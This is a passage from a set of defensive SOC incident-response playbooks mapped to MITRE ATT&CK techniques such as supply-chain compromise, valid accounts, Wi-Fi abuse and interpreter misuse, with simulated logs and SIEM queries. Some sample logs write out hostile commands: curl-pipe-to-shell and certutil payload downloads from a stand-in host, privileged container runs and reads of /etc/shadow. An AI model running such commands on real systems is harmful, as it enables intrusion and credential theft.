runtime_behavior=credential_access + outbound_https
dst_domain=sync-cloud-updates[.]net

C) Compromise Hardware Supply Chain

2026-03-18T01:13:44Z
device=Network_Appliance_X
firmware_version=1.2.9
deployment_status=new
2026-03-18T01:13:49Z
unexpected_outbound_connection=hxxps://control-node[.]net

Severity decision (SOC)

Low

- Vendor alert only, no internal impact
- Compromise suspected but not confirmed

Medium

- Suspicious behaviour from trusted component
- Limited scope or contained quickly

High

- Confirmed malicious behaviour from signed software or hardware
- Multiple systems affected
- Active C2, credential access or lateral movement

Example severity: High

(Signed vendor update executing malicious behaviour across multiple hosts)

Step-by-step SOC workflow

Step 1 Validate supply-chain trust breach

Confirm:

1. Is the component normally trusted (vendor, dependency, hardware)?
2. Is behaviour new or unexpected after update/deployment?
3. Is code signed or delivered via official channels?
4. Are multiple systems exhibiting identical behaviour?

Decision point

- False positive or misconfiguration → monitor
- Confirmed compromise → continue investigation immediately

Step 2 Identify supply-chain compromise scope

Sub-technique	Evidence	Attacker value
Dev tools / deps	Malicious dependency	Developer access
Software supply	Trojanised update	Mass distribution
Hardware supply	Pre-infected firmware	Persistent foothold

Step 3 Map compromise behaviour to sub-techniques

3A) Compromise Software Dependencies & Development Tools

Indicators

- New or altered dependencies

- Build scripts making network calls
- Secrets accessed during build

Attacker intent

- Insert backdoors early
- Steal credentials or inject malware

3B) Compromise Software Supply Chain

Indicators

- Signed updates with malicious runtime behaviour
- Uniform behaviour across many hosts

Attacker intent

- Scale initial access
- Evade reputation-based controls

3C) Compromise Hardware Supply Chain

Indicators

- New hardware beaconing externally
- Firmware changes without change records

Attacker intent

- Long-term persistence
- Network-level visibility and control

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Persistence
 - Services, agents, firmware tasks
2. Credential Access
 - Secrets, API keys, directory access
3. Lateral Movement
 - East-west traffic
4. C2
 - TLS or DNS beaconing

Decision point

- Evidence found → escalate to Incident Response (Major Incident)

Containment actions

If compromise suspected

1. Pause updates and deployments immediately
2. Block suspicious domains and IPs
3. Isolate affected systems
4. Notify vendor and internal stakeholders

If compromise confirmed

1. Disable or uninstall affected software/agents
2. Isolate impacted endpoints and servers
3. Block all related infrastructure
4. Initiate vendor incident coordination and advisory response

Eradication and recovery

- Remove malicious components and persistence
- Roll back to known-good versions
- Rotate exposed credentials and secrets
- Reimage systems if integrity is uncertain
- Validate firmware integrity on hardware

Detection engineering (SIEM ideas)

A) Signed software with anomalous behaviour

```
index=edr  
| where signature="valid"  
| where behavior IN ("credential_access","process_injection","outbound_beacon")
```

B) Uniform post-update anomalies

```
index=network  
| stats count by dst_domain, application  
| where count > threshold
```

C) Build pipeline network access

```
index=ci_cd  
| where event="Build_Completed"  
| where unexpected_network_call=true
```

Analyst checklist

- Trusted component identified
- Scope of affected systems mapped
- Vendor and internal escalation completed
- Malicious behaviour contained
- Recovery and rollback verified

Post-incident improvements

- Enforce software bill of materials (SBOM) tracking
- Monitor behaviour, not just signatures, of trusted code
- Harden CI/CD pipelines and dependency controls
- Validate firmware and hardware integrity on receipt
- Conduct regular third-party risk and tabletop exercises

Playbook 28 (MITRE Initial Access): Trusted Relationship

Technique: Trusted Relationship

Purpose

Detect, investigate and respond to abuse of trusted relationships that allow attackers to:

- Pivot from a compromised partner into your environment
- Abuse existing VPNs, APIs or SSO trusts
- Bypass MFA or conditional access due to trust assumptions
- Gain access without exploiting vulnerabilities directly

Trusted relationship abuse is low-noise, high-impact and frequently results in delayed detection.

When to trigger this playbook

Trigger this playbook when indicators suggest access via trusted third parties, including:

- Login activity from partner or vendor IP ranges
- Access using shared or service accounts
- Authentication via federated identity providers
- Activity from MSP tools outside expected scope
- Threat intel reporting partner compromise
- Access paths not normally used by internal users

Example use case scenario (end-to-end)

Context: SOC detects administrative activity performed through a vendor VPN connection used for system maintenance. The vendor later confirms their environment was compromised.

Attacker objective: Leverage an existing trusted connection to gain initial access without detection.

Defender objective: Confirm abuse of trust, contain access paths and prevent further partner-based intrusion.

What it looks like (simulated SOC artefacts)

A) VPN / Network Logs – Partner Access

2026-03-20T01:11:02Z

service=SiteToSite_VPN
partner=Vendor_X
src_ip=203.0.113.45
dst_segment=admin_network
connection_status=established

B) Identity / SSO Logs – Federated Login

2026-03-20T01:12:21Z
idp=Federated_SSO
user=vendor_admin@partner.com
auth_method=federated
result=success

C) Privileged Activity

2026-03-20T01:13:02Z
user=vendor_admin
action=Create_Local_Admin
host=APP-SRV-01

D) Threat Intelligence Correlation

2026-03-20T01:13:49Z
ti_alert=Partner_Compromised
partner=Vendor_X
confidence=high

Severity decision (SOC)

Low

- Partner access verified and expected
- Activity within documented scope

Medium

- Partner access with unusual timing or systems
- No confirmed malicious action

High

- Confirmed partner compromise
- Privileged or sensitive activity observed

Example severity: High

(Compromised vendor VPN used for administrative changes)

Step-by-step SOC workflow

Step 1 Validate trusted relationship abuse

Confirm:

1. Is the access originating from a trusted partner?
2. Is the activity within documented scope and schedule?
3. Are accounts shared, service-based or federated?
4. Is there external confirmation of partner compromise?

Decision point

- Legitimate partner activity → document and monitor
- Unauthorised or abused trust → continue investigation immediately

Step 2 Identify trust relationship scope

Trust type	Evidence	Attacker value
Vendor VPN	Site-to-site access	Network entry
MSP tools	Admin consoles	Broad control
Federated SSO	Cross-org identity	Clean authentication
Shared accounts	Service credentials	Persistence

Step 3 Map abuse behaviour to attacker intent

3A) Partner Network Pivot

Indicators

- Access from partner IPs
- Entry into admin or sensitive segments

Attacker intent

- Bypass perimeter security

3B) Federated Identity Abuse

Indicators

- SSO login without local authentication
- No MFA challenge due to trust

Attacker intent

- Blend in as trusted user

3C) MSP / Vendor Tool Abuse

Indicators

- RMM or admin tools used unexpectedly
- Broad system access

Attacker intent

- Rapid control and persistence

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Persistence
 - New accounts, trust modifications
2. Lateral Movement
 - SMB, RDP, SSH via trusted path
3. Credential Access
 - Secrets, directory access
4. Impact
 - Configuration changes, data access

Decision point

- Evidence found → escalate to Incident Response

Containment actions

If abuse suspected

1. Suspend partner access immediately
2. Disable shared or federated accounts
3. Restrict VPN or trust scopes
4. Notify partner security contacts

If abuse confirmed

1. Terminate all partner connections
2. Rotate shared credentials and secrets
3. Audit systems accessed via trust
4. Activate major incident response

Eradication and recovery

- Remove malicious changes and persistence
- Restore trust configurations from known-good state
- Re-establish access with least privilege
- Require strong MFA and logging for all trusted access
- Issue internal and partner assurance

Detection engineering (SIEM ideas)

A) Partner access to sensitive segments

```
index=vpn  
| where partner IS NOT NULL  
| where dst_segment IN ("admin","finance","prod")
```

B) Federated login anomalies

```
index=auth  
| where auth_method="federated"  
| where geo_change=true OR time_anomaly=true
```

C) MSP tool usage anomaly

```
index=edr  
| where tool IN ("RMM","RemoteAdmin")  
| where usage_outside_window=true
```

Analyst checklist

- Trusted relationship identified
- Partner legitimacy verified
- Scope of access assessed
- Trust paths restricted or revoked
- Stakeholders and partners notified

Post-incident improvements

- Enforce least privilege on all trust relationships
- Segregate partner access networks
- Require phishing-resistant MFA for federated access
- Continuously monitor partner behaviour
- Include partner compromise in SOC tabletop exercises

BY IZMER IZUDDIN

Playbook 29 (MITRE Initial Access): Valid Accounts

Technique: Valid Accounts

Sub-techniques:

- Default Accounts
- Domain Accounts
- Local Accounts
- Cloud Accounts

Purpose

Detect, investigate and respond to adversaries gaining initial access using legitimate credentials, enabling attackers to:

- Bypass perimeter and exploit controls entirely
- Blend into normal authentication activity
- Avoid malware and exploit-based detection
- Rapidly pivot to lateral movement and persistence
- Operate with low noise and long dwell time

Valid accounts are among the most dangerous Initial Access techniques because authentication succeeds normally.

When to trigger this playbook

Trigger this playbook when indicators suggest credential-based access, including:

- Successful logins without preceding malware or phishing alerts
- Authentication from unusual geographies, devices or ASNs
- Access outside normal hours or role expectations
- Threat intel reporting stolen credentials or access brokers
- Sudden privilege usage by previously low-risk accounts

Example use case scenario (end-to-end)

Context: SOC detects a successful login to a cloud admin portal using a legitimate account from a new country. No exploit or phishing is detected, but the account immediately accesses privileged APIs.

Attacker objective: Use legitimate credentials to gain initial access while avoiding detection.

Defender objective: Confirm legitimacy, contain abuse and prevent privilege escalation or persistence.

What it looks like (simulated SOC artefacts)

A) Default Accounts

2026-03-22T01:11:02Z
service=Router_Admin
user=admin
auth_method=password
src_ip=198.51.100.45
result=success
2026-03-22T01:11:06Z
note=Default credentials not rotated

B) Domain Accounts

2026-03-22T01:12:21Z
service=AD
user=j.smith
logon_type=network
src_ip=203.0.113.88
geo=RU
result=succes

C) Local Accounts

2026-03-22T01:13:44Z
host=APP-SRV-02
user=localadmin
logon_type=interactive
result=success

D) Cloud Accounts

2026-03-22T01:14:55Z
platform=Cloud_Admin_Portal
user=cloud-admin@example.my
auth_method=password
mfa=disabled
src_ip=45.77.12.9

Severity decision (SOC)

Low

- Access confirmed legitimate
- Strong MFA and normal behaviour

Medium

- Unusual login but limited activity
- No sensitive systems accessed

High

- Privileged or admin access
- MFA bypass or disabled
- Sensitive systems or data accessed

Example severity: High

(Cloud admin login from new country with MFA disabled)

Step-by-step SOC workflow

Step 1 Validate account legitimacy

Confirm immediately:

1. Does the user recognise the login?
2. Is the access expected for the role?
3. Is MFA enabled, bypassed or disabled?
4. Are there previous anomalies for this account?

Decision point

- Legitimate access → document and monitor
- Suspicious or unverified → continue investigation immediately

Step 2 Identify valid account type and scope

Account type	Evidence	Attacker value
Default	Factory creds	Immediate access
Domain	AD credentials	Broad internal access
Local	Host admin	Persistence
Cloud	SaaS/laaS admin	Org-wide impact

Step 3 Map behaviour to sub-techniques

3A) Default Accounts

Indicators

- Known default usernames
- No password rotation

Attacker intent

- Quick access to infrastructure

3B) Domain Accounts

Indicators

- Successful AD authentication
- Geo or time anomalies

Attacker intent

- Lateral movement and escalation

3C) Local Accounts

Indicators

- Interactive logins on servers
- Rarely used admin accounts

Attacker intent

- Persistence and control

3D) Cloud Accounts

Indicators

- Admin portal access
- API calls, role changes

Attacker intent

- Data access, service abuse

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Privilege Escalation
 - Role changes, group membership
2. Persistence
 - New accounts, MFA changes
3. Lateral Movement
 - RDP, SMB, API access
4. Impact
 - Data access, configuration changes

Decision point

- Evidence found → escalate to Incident Response

Containment actions

If suspicious access detected early

1. Disable affected accounts immediately
2. Force password resets and MFA enrolment
3. Revoke active sessions and tokens
4. Block source IPs and ASNs

If abuse confirmed

1. Disable all related accounts
2. Rotate credentials across systems
3. Audit privileged activity
4. Activate full IR procedures

Eradication and recovery

- Remove unauthorised accounts or roles
- Restore IAM configurations
- Re-enable access with least privilege
- Validate no persistence remains
- Issue assurance to stakeholders

Detection engineering (SIEM ideas)

A) Successful login without MFA

index=auth

| where login_result="success"
| where mfa="disabled"

B) Default account usage

index=auth
| where user IN ("admin","root","administrator")

C) Cloud admin anomaly

index=cloud
| where role="admin"
| where geo_change=true OR device_new=true

Analyst checklist

- Account legitimacy verified
- MFA and password status reviewed
- Scope of access identified
- Sessions revoked and creds rotated
- Lateral movement ruled out

Post-incident improvements

- Enforce phishing-resistant MFA everywhere
- Eliminate default accounts or rotate immediately
- Implement conditional access and geo restrictions
- Monitor access broker activity
- Run regular credential exposure assessments

Playbook 30 (MITRE Initial Access): Wi-Fi Networks

Technique: Wi-Fi Networks

Purpose

Detect, investigate and respond to unauthorised or malicious use of wireless networks, enabling attackers to:

- Harvest corporate credentials
- Gain internal network access without VPN
- Intercept or manipulate traffic
- Pivot from guest to corporate networks
- Establish footholds without malware delivery

Wi-Fi Network abuse is a direct Initial Access vector, commonly paired with Valid Accounts, Trusted Relationships and Hardware Additions.

When to trigger this playbook

Trigger this playbook when indicators suggest wireless-based intrusion or abuse, including:

- Detection of rogue or spoofed SSIDs
- Multiple authentication failures followed by success
- Users authenticating to Wi-Fi from unusual locations
- Credential theft shortly after Wi-Fi connection
- New devices appearing on internal VLANs without onboarding
- Wireless IDS/WIPS alerts

Example use case scenario (end-to-end)

Context: SOC detects multiple users authenticating to a corporate SSID from a conference room, followed by credential abuse and cloud login anomalies. Wireless monitoring reveals a rogue access point mimicking the corporate Wi-Fi SSID (Evil Twin).

Attacker objective: Harvest credentials and gain initial network access via wireless trust.

Defender objective: Identify rogue Wi-Fi infrastructure, contain access and prevent further credential compromise.

What it looks like (simulated SOC artefacts)

A) Wireless IDS – Rogue Access Point

2026-03-24T01:11:02Z
ssid=Corp-WiFi
bssid=AC:DE:48:11:22:33
signal_strength=high
status=unauthorised
location=Level_2

B) Wireless Authentication Logs

2026-03-24T01:11:18Z
user=employee07
ssid=Corp-WiFi
auth_method=PEAP
result=success
2026-03-24T01:11:22Z
note=Authentication via unknown BSSID

C) Captive Portal / Credential Harvest

2026-03-24T01:11:29Z
portal_domain=corp-wifi-login[.]net
credential_submission=true

D) Post-Wi-Fi Credential Abuse

2026-03-24T01:13:55Z
service=Cloud_Portal
user=employee07
src_ip=rogue_ap_exit_node
geo=MY
result=success

Severity decision (SOC)

Low

- Rogue SSID detected but no user interaction
- No successful authentication

Medium

- Users connected but no credential abuse observed
- Guest network exposure only

High

- Credential harvesting confirmed
- Internal or cloud access achieved
- Rogue AP actively impersonating corporate SSID

Example severity: High

(Evil Twin Wi-Fi → credential harvest → cloud login)

Step-by-step SOC workflow

Step 1 Validate Wi-Fi attack presence

Confirm:

1. Is the SSID legitimate or spoofed?
2. Is the BSSID registered and expected?
3. Are users connecting to unauthorised APs?
4. Is there credential use shortly after Wi-Fi access?

Decision point

- Misconfiguration or benign AP → remediate
- Malicious wireless activity → continue investigation immediately

Step 2 Identify Wi-Fi attack scope

Wi-Fi vector	Evidence	Attacker value
Rogue AP	Unknown BSSID	Credential harvest
Evil Twin	Matching SSID	Trust abuse
Weak encryption	WPA misconfig	Network access
Guest Wi-Fi	Internal reach	Pivot point
MITM	Traffic interception	Credential/session theft

Step 3 Map behaviour to attacker intent

3A) Rogue / Evil Twin Access Points

Indicators

- Duplicate SSIDs
- Stronger signal than legitimate APs

Attacker intent

- Trick users into connecting

3B) Credential Harvesting

Indicators

- Captive portals
- PEAP/MSCHAPv2 weaknesses

Attacker intent

- Steal corporate credentials

3C) Network Pivoting

Indicators

- Guest Wi-Fi accessing internal VLANs
- Unmanaged devices on corporate segments

Attacker intent

- Lateral movement and persistence

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Valid Accounts
 - Login anomalies
2. Lateral Movement
 - SMB, RDP from wireless ranges
3. Persistence
 - New devices, cached credentials
4. Impact
 - Data access, configuration changes

Decision point

- Evidence found → escalate to Incident Response

Containment actions

If rogue Wi-Fi detected early

1. De-authenticate rogue APs (WIPS)
2. Notify physical security
3. Warn users immediately

If compromise suspected

1. Disable affected user accounts
2. Reset credentials and enforce MFA
3. Block rogue BSSIDs and MACs
4. Isolate wireless segments

Eradication and recovery

- Remove rogue APs physically
- Reconfigure Wi-Fi security (WPA3, cert-based auth)
- Rotate compromised credentials
- Audit wireless network segmentation
- Validate no unauthorised devices remain

Detection engineering (SIEM ideas)

A) Unknown BSSID usage

index=wireless
| where authorised=false

B) Wi-Fi login followed by cloud access

index=wireless OR index=auth
| transaction user maxspan=15m
| where auth_result="success"

C) Guest Wi-Fi pivot detection

index=network
| where src_vlan="guest"
| where dst_vlan="corp"

Analyst checklist

- Rogue or weak Wi-Fi confirmed
- User exposure assessed
- Credentials rotated
- Wireless infrastructure secured

- Physical security engaged

Post-incident improvements

- Deploy continuous wireless IDS/WIPS
- Enforce WPA3-Enterprise with certificate-based auth
- Segment guest and corporate Wi-Fi strictly
- Educate users on rogue Wi-Fi risks
- Include Wi-Fi attacks in SOC and red-team exercises

EXECUTION

Execution is the stage where attackers run malicious code or commands within the victim environment to carry out their objectives. After gaining initial access, adversaries execute payloads, scripts, exploits or living-off-the-land commands to establish control, deploy malware or advance the attack chain. Execution may appear as a single obvious action or as a series of subtle commands blended with legitimate activity. For SOC teams, this phase is a critical detection point, because successful execution confirms an active intrusion. Rapid identification and response at this stage can disrupt the attack before persistence, privilege escalation or lateral movement occur, significantly reducing the overall impact of the incident.

Playbook 31 (MITRE Execution): Cloud Administration Command

Technique: Cloud Administration Command

Purpose

Detect, investigate and respond to malicious or unauthorised execution of cloud administration commands, enabling attackers to:

- Enumerate cloud resources
- Modify IAM roles and permissions
- Create persistence via new users, keys or service principals
- Access or exfiltrate cloud-hosted data
- Disable logging or security controls

This technique commonly follows Initial Access (Valid Accounts / Phishing / Wi-Fi / Trusted Relationship) and precedes Persistence, Privilege Escalation and Impact.

When to trigger this playbook

Trigger this playbook when indicators suggest abuse of cloud administrative capabilities, including:

- CLI or API activity from unusual locations or devices
- IAM changes without approved change records
- Rapid execution of multiple admin commands
- Creation of access keys or service principals
- Security services disabled or modified
- Automation executed outside CI/CD pipelines

Example use case scenario (end-to-end)

Context: SOC detects successful login to a cloud tenant using a valid account. Within minutes, multiple cloud administration commands are executed to list resources, create a new admin role and generate access keys.

Attacker objective: Leverage legitimate cloud admin interfaces to execute actions at scale without deploying malware.

Defender objective: Identify malicious cloud execution, contain access and prevent persistence or data loss.

What it looks like (simulated SOC artefacts)

A) Cloud CLI Execution

2026-03-26T01:11:02Z
platform=Cloud
tool=AzureCLI
user=cloud-admin@example.my
command="az role assignment create --role Owner"
result=success

B) Cloud API / Graph Calls

2026-03-26T01:11:08Z
api=MicrosoftGraph
operation=AddMemberToRole
role=GlobalAdmin
caller_ip=45.77.12.9

C) IAM Key Creation

2026-03-26T01:11:15Z
event=CreateAccessKey
user=svc-backup
key_id=AKIA*****

D) Security Control Modification

2026-03-26T01:11:24Z
service=DefenderForCloud
action=Disable
initiated_by=cloud-admin@example.my

Severity decision (SOC)

Low

- Admin command executed by authorised user
- Within approved change window

Medium

- Admin command from unusual device or location
- No immediate security impact

High

- Privileged role changes
- Key or token creation
- Security controls disabled

Example severity: High

(Global admin assignment + access key creation + security service disabled)

Step-by-step SOC workflow

Step 1 Validate cloud command legitimacy

Confirm:

1. Is the account authorised to run admin commands?
2. Is the activity documented in a change request?
3. Is the execution interactive, automated or scripted?
4. Does the source device, IP or geo match user baseline?

Decision point

- Legitimate admin work → document and monitor
- Unauthorised or suspicious → continue investigation immediately

Step 2 Identify cloud execution scope

Command category	Evidence	Attacker value
IAM	Role / key creation	Privilege & persistence
Resource	VM, storage listing	Reconnaissance
Network	Firewall, NSG edits	Lateral movement
Security	Logging disabled	Defense evasion
Automation	IaC / runbooks	Scale

Step 3 Map execution behaviour to attacker intent

3A) Cloud Resource Enumeration

Indicators

- List / describe commands
- No preceding IaC pipeline

Attacker intent

- Understand cloud footprint

3B) Privilege Manipulation

Indicators

- Role assignments
- Admin group changes

Attacker intent

- Privilege escalation

3C) Persistence via Cloud Objects

Indicators

- New users, service principals, access keys
- OAuth app creation

Attacker intent

- Long-term access

3D) Security Control Suppression

Indicators

- Logging or defender services disabled

Attacker intent

- Reduce detection

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Persistence
 - New IAM objects
2. Lateral Movement
 - Cross-subscription / cross-project access
3. Collection
 - Storage access, database exports
4. Exfiltration
 - Large outbound data transfers

Decision point

- Evidence found → escalate to Incident Response

Containment actions

If detected early

1. Disable affected accounts and tokens
2. Revoke newly created keys and roles
3. Block suspicious IPs and devices

If abuse confirmed

1. Lock down cloud tenant temporarily
2. Roll back IAM and security changes
3. Rotate all privileged credentials
4. Activate full cloud IR procedures

Eradication and recovery

- Remove unauthorised roles, keys and service principals
- Restore logging and security controls
- Revalidate IaC and automation pipelines
- Audit all cloud admin actions
- Issue assurance to stakeholders

Detection engineering (SIEM ideas)

A) Cloud admin command anomaly

```
index=cloud  
| where command_category="admin"  
| where geo_change=true OR device_new=true
```

B) IAM modification detection

```
index=cloud  
| where event IN ("CreateUser","AddRole","CreateAccessKey")
```

C) Security service disablement

```
index=cloud  
| where action="Disable"
```

| where service IN ("Defender","SecurityCenter","Logging")

Analyst checklist

- Cloud execution validated
- IAM and security impact assessed
- Credentials and tokens revoked
- Persistence removed
- Logging restored

Post-incident improvements

- Enforce phishing-resistant MFA for all cloud admins
- Restrict CLI and API access by device and IP
- Require just-in-time (JIT) admin privileges
- Monitor cloud execution as high-risk behaviour
- Include cloud command abuse in SOC simulations

Playbook 32 (MITRE Execution): Command and Scripting Interpreter

Technique: Command and Scripting Interpreter

Sub-techniques:

- PowerShell
- AppleScript
- Windows Command Shell
- Unix Shell
- Visual Basic
- Python
- JavaScript
- Network Device CLI
- Cloud API
- AutoHotKey & AutoIT
- Lua
- Hypervisor CLI
- Container CLI / API

Purpose

Detect, investigate and respond to adversary execution using built-in interpreters and scripting environments, enabling attackers to:

- Execute payloads without dropping binaries
- Live-off-the-land (LOLBins) to evade AV/EDR
- Automate actions rapidly and silently
- Blend malicious activity with legitimate administration
- Pivot across endpoints, servers, network devices, cloud and containers

This is the most observed Execution technique and appears in nearly every real-world intrusion.

When to trigger this playbook

Trigger this playbook when indicators suggest scripting or interpreter abuse, including:

- Command execution from user-facing processes (browser, Office, explorer)
- Script execution from unusual paths or encoded content
- High-risk command usage (download, credential access, disable security)
- Interpreter usage on systems where scripting is uncommon
- CLI/API execution outside approved automation pipelines

Example use case scenario (end-to-end)

Context: SOC detects PowerShell execution from a finance workstation after a phishing email. Within minutes, Python scripts enumerate files, Cloud APIs create tokens and Container CLI pulls images from an unknown registry.

Attacker objective: Use interpreters to execute actions across multiple platforms without malware.

Defender objective: Identify interpreter abuse, contain execution paths and prevent follow-on stages.

What it looks like (simulated SOC artefacts)

A) PowerShell

2026-03-28T01:11:02Z
parent_process=winword.exe
process=powershell.exe
command_line=-EncodedCommand SQBFAGa...

B) AppleScript

2026-03-28T01:11:14Z
process=osacompile
script=do shell script "curl hxxp://node[.]net/p.sh | sh"

C) Windows Command Shell

2026-03-28T01:11:21Z
process=cmd.exe
command=certutil -urlcache -f http://node[.]net/a.exe a.exe

D) Unix Shell

2026-03-28T01:11:34Z
process=/bin/bash
command=curl http://node[.]net/x.sh | bash

E) Visual Basic

2026-03-28T01:11:48Z
process=wscript.exe
script=update.vbs

F) Python

2026-03-28T01:12:02Z
process=python3
script=enum.py

G) JavaScript

2026-03-28T01:12:15Z
process=node.exe
script=loader.js

H) Network Device CLI

2026-03-28T01:12:29Z
device=Firewall01
command=show running-config
user=net-admin

I) Cloud API

2026-03-28T01:12:41Z
api=AWS_IAM
action=CreateUser

J) AutoHotKey & AutoIT

2026-03-28T01:12:55Z
process=AutoHotkey.exe
script=inject.ahk

K) Lua

2026-03-28T01:13:08Z
process=lua
script=module.lua

L) Hypervisor CLI

2026-03-28T01:13:21Z
tool=esxcli
command=network firewall set --enabled false

M) Container CLI / API

2026-03-28T01:13:36Z

tool=docker
command=docker run --privileged attacker/image

Severity decision (SOC)

Low

- Interpreter use aligned with admin role
- Approved scripts and automation

Medium

- Interpreter use from user context
- Suspicious but limited commands

High

- Encoded, obfuscated or chained commands
- Interpreter spawned by user apps
- Security control modification

Example severity: High

(Office → PowerShell → Python → Cloud API)

Step-by-step SOC workflow

Step 1 Validate interpreter execution context

Confirm:

1. Who launched the interpreter (user, service, app)?
2. From where (path, parent process)?
3. What commands were executed?
4. Is this normal for the host role?

Decision point

- Approved automation → document
- Suspicious execution → continue investigation immediately

Step 2 Identify interpreter scope

Interpreter	Evidence	Attacker value
PowerShell / CMD	Native Windows	Stealth execution

Bash / Shell	Unix control	Server access
Python / JS	Automation	Rapid tooling
Network CLI	Infra access	Config control
Cloud API	Tenant control	Scale
Container / Hypervisor	Host escape	Full control

Step 3 Map behaviour to attacker intent

3A) Living-off-the-Land Execution

Indicators

- Native interpreters
- No dropped binaries

Attacker intent

- Evade detection

3B) Automation & Speed

Indicators

- Scripts looping resources
- Bulk API calls

Attacker intent

- Rapid expansion

3C) Defense Evasion

Indicators

- Disable logging
- Firewall changes

Attacker intent

- Reduce visibility

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Persistence – scheduled tasks, profiles
2. Credential Access – tokens, secrets
3. Lateral Movement – SSH, WinRM, APIs
4. Impact – encryption, deletion, sabotage

Decision point

- Evidence found → escalate to Incident Response

Containment actions

If detected early

1. Terminate interpreter processes
2. Block scripts and command hashes
3. Disable abused interpreters temporarily

If abuse confirmed

1. Isolate affected systems
2. Revoke credentials and tokens
3. Disable admin interfaces used
4. Activate full IR playbook

Eradication and recovery

- Remove scripts and persistence
- Reimage systems if integrity uncertain
- Restore configs and logging
- Rotate exposed credentials
- Validate no automation remains

Detection engineering (SIEM ideas)

A) User-spawned interpreter

```
index=edr  
| where parent_process IN ("winword.exe","excel.exe","chrome.exe")  
| where process IN ("powershell.exe","cmd.exe","python.exe","bash")
```

B) Encoded / obfuscated commands

```
index=edr
```

| where command_line LIKE "%-EncodedCommand%" OR command_line LIKE "%base64%"

C) Container or hypervisor CLI abuse

index=infra

| where tool IN ("docker","kubectl","esxcli")

| where executed_by NOT IN approved_automation

Analyst checklist

- Interpreter execution confirmed
- Parent/child relationship analysed
- Scope of commands identified
- Persistence ruled out
- Credentials rotated

Post-incident improvements

- Restrict interpreters by role and device
- Enable script block logging and AMSI
- Enforce signed scripts and execution policies
- Monitor infra and cloud CLIs as Tier-1 alerts
- Train SOC on LOLBin-based execution chains

Playbook 33 (MITRE Execution): Container Administration Command

Technique: Container Administration Command

Purpose

Detect, investigate and respond to unauthorised or malicious container administration commands, enabling attackers to:

- Execute commands inside containers
- Deploy malicious containers or images
- Escape containers to host systems
- Access secrets, tokens and service accounts
- Establish persistence in Kubernetes clusters
- Use containers for cryptomining, C2 or lateral movement

This technique commonly follows Initial Access or Cloud Admin Command and precedes Privilege Escalation, Credential Access and Impact.

When to trigger this playbook

Trigger this playbook when indicators suggest abuse of container administration, including:

- docker exec, kubectl exec or kubectl run from unusual users
- New containers launched from untrusted registries
- Privileged containers created unexpectedly
- Secrets accessed via Kubernetes APIs
- Cluster admin commands executed outside CI/CD pipelines
- Sudden spikes in container creation or deletion

Example use case scenario (end-to-end)

Context: SOC detects a valid cloud account authenticating to a Kubernetes cluster. Within minutes, container admin commands are used to deploy a privileged container, mount the host filesystem and access Kubernetes secrets.

Attacker objective: Use container administration to execute code, escalate privileges and persist within the cluster.

Defender objective: Identify malicious container execution, contain the cluster and prevent host or cloud compromise.

What it looks like (simulated SOC artefacts)

A) Kubernetes CLI Execution

2026-03-30T01:11:02Z

tool=kubectl

user=cloud-admin@example.my

command=kubectl exec -it api-pod -- /bin/bash

result=success

B) Privileged Container Deployment

2026-03-30T01:11:11Z

command=kubectl run debug --image=attacker/debug:latest

securityContext.privileged=true

C) Host File System Access

2026-03-30T01:11:18Z

mount=/hostfs

access=/hostfs/etc/shadow

D) Secret Enumeration

2026-03-30T01:11:26Z

command=kubectl get secrets --all-namespaces

result=success

E) Container Runtime API Call

2026-03-30T01:11:34Z

runtime=containerd

action=CreateContainer

image=unknown/miner:latest

Severity decision (SOC)

Low

- Container commands executed by approved automation
- Activity aligned with CI/CD or maintenance windows

Medium

- Manual container admin activity from unusual users
- No privileged containers or secrets accessed

High

- Privileged containers launched
- Host filesystem mounted
- Secrets accessed or new workloads deployed

Example severity: High

(Privileged container + secret access + host filesystem mount)

Step-by-step SOC workflow

Step 1 Validate container admin legitimacy

Confirm:

1. Is the user authorised for container administration?
2. Is the activity documented and change-approved?
3. Is the execution manual or automated?
4. Does the activity align with cluster role and namespace?

Decision point

- Approved activity → document and monitor
- Unauthorised or suspicious → continue investigation immediately

Step 2 Identify container execution scope

Area	Evidence	Attacker value
kubectl / Docker CLI	Exec, run, deploy	Code execution
Privileged containers	--privileged	Host escape
Secrets	API access	Credential theft
Images	Untrusted registry	Malware delivery
Runtime API	Direct container control	Persistence

Step 3 Map behaviour to attacker intent

3A) Interactive Execution

Indicators

- kubectl exec, docker exec
- Shell access inside containers

Attacker intent

- Manual control and exploration

3B) Privilege Escalation via Containers

Indicators

- Privileged containers
- HostPath mounts

Attacker intent

- Escape container isolation

3C) Persistence in Cluster

Indicators

- New deployments, daemonsets, cronjobs
- Images pulled from attacker registries

Attacker intent

- Long-term access

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - Secrets, service account tokens
2. Lateral Movement
 - Cross-namespace or cross-cluster access
3. Defense Evasion
 - Logging or audit disabling
4. Impact
 - Cryptomining, data destruction, service disruption

Decision point

- Evidence found → escalate to Incident Response

Containment actions

If detected early

1. Revoke affected Kubernetes credentials
2. Terminate suspicious containers and pods
3. Block untrusted container registries

If abuse confirmed

1. Lock down cluster admin access
2. Disable compromised service accounts
3. Quarantine affected nodes
4. Activate full container IR procedures

Eradication and recovery

- Remove malicious containers, images and workloads
- Rotate all cluster secrets and tokens
- Restore RBAC and admission controls
- Rebuild nodes if host compromise suspected
- Validate cluster integrity

Detection engineering (SIEM ideas)

A) Manual container admin execution

```
index=container  
| where tool IN ("kubectl","docker")  
| where executed_by NOT IN approved_automation
```

B) Privileged container detection

```
index=container  
| where securityContext.privileged=true
```

C) Secret access monitoring

```
index=k8s_audit  
| where verb IN ("get","list")  
| where objectRef.resource="secrets"
```

Analyst checklist

- Container admin activity validated
- Privileged execution assessed
- Secret exposure reviewed
- Malicious workloads removed

- Cluster access secured

Post-incident improvements

- Enforce least-privilege Kubernetes RBAC
- Require MFA and device trust for cluster admin access
- Block privileged containers by default
- Monitor container admin commands as high-risk events
- Include container compromise scenarios in SOC simulations

Playbook 34 (MITRE Execution): Deploy Container

Technique: Deploy Container

Purpose

Detect, investigate and respond to unauthorised or malicious container deployments, enabling attackers to:

- Execute malware or tooling in containers
- Establish persistence via long-running pods, cronjobs or daemonsets
- Abuse container infrastructure for cryptomining or C2
- Access secrets, service accounts or host resources
- Blend malicious workloads with legitimate microservices

